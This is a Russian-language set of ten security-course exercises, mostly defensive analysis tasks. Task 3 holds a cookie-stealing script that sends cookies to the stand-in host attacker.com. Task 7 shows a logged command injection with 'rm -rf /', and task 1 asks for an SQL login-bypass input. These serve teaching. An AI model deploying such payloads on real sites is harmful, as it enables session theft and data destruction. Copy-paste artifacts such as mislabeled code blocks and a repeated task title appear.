«Безопасность компьютерных систем. Защищенные системы и сети связи»

№ 1. Анализ SQL-инъекции

Задание:
У вас есть запрос, выполняющий авторизацию пользователя:

```
sql
SELECT * FROM users WHERE username = '$username' AND password = '$password';
```

Предложите вредоносный ввод для переменных `$username` и `$password`, чтобы обойти проверку пароля. Объясните, как это работает.

№ 2. Сетевой дамп: распознавание атаки

Задание:
Вы видите следующую последовательность запросов из дампа трафика:

```
python
192.168.1.10 → 192.168.1.1 SYN
192.168.1.1 → 192.168.1.10 SYN-ACK
192.168.1.10 → 192.168.1.1 RST
192.168.1.11 → 192.168.1.1 SYN
192.168.1.1 → 192.168.1.11 SYN-ACK
192.168.1.11 → 192.168.1.1 RST
...
```

Определите, что происходит, и каковы цели злоумышленника.

№ 3. Анализ вредоносного скрипта

Задание:
Рассмотрите следующий фрагмент JavaScript, выполняющийся на сайте:

```
javascript
<script>
  var img = new Image();
  img.src = "http://attacker.com/track?cookie=" + document.cookie;
</script>
```

Объясните, какую атаку здесь реализовал злоумышленник и как от неё защититься.

№ 4. Дамп пароля в памяти

Задание:
Представьте, что вы анализируете дамп памяти. В одном из сегментов вы находите следующую строку:

```
css
User=admin&Password=P@ssw0rd123&Token=xyz123
```

Назовите шаги, которые должен предпринять специалист, чтобы устранить такую уязвимость.

№ 5. Перехват HTTP-трафика

Задание:
В дампе сетевого трафика вы видите следующие данные:

```
makefile
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

username=admin&password=admin123
```

Какие выводы можно сделать? Какие меры безопасности необходимы?

№ 6. Анализ токенов API

Задание:
В дампе данных вы обнаружили строку:

```
makefile
Копировать код
QVBJX1Rva2VuOkFzZGZhc2RmYXNkZjEyM0AxMjM=
```

Расшифруйте её и определите, что в ней содержится. Почему небезопасно хранить API-токены в открытом виде? Предложите меры защиты.

№ 7. Поиск вредоносного кода в логах

Задание:
В логах веб-сервера вы находите следующую строку:

```
bash
GET /index.php?user=admin&cmd=rm+-rf+/ HTTP/1.1
Host: victim.com
```

Объясните, что происходит, и предложите меры защиты.

№ 8. Анализ шифрования

Задание:
Сообщение зашифровано с использованием шифра XOR. Исходный текст: `HELLO`. Ключ: `10101`. Примените XOR и представьте зашифрованное сообщение в виде двоичного кода.

№ 9. Разбор стека вызовов

Задание:
Вы видите следующий фрагмент стека вызовов:

```
scss
main()
 └─ login()
     └─ validate_password()
         └─ strcmp()
```

В функции `strcmp()` произошёл сбой из-за передачи строки длиной 256 символов. Объясните, что произошло, и предложите решение.

№ 10. Разбор стека вызовов

Даны правила брандмауэра:

1. Разрешить: 192.168.1.0/24 → TCP порт 80
2. Разрешить: 192.168.1.0/24 → TCP порт 443
3. Запретить: всё остальное

Пользователь из сети 192.168.1.0/24 не может подключиться к FTP-серверу на 21 порту. Объясните, почему это происходит, и предложите решение.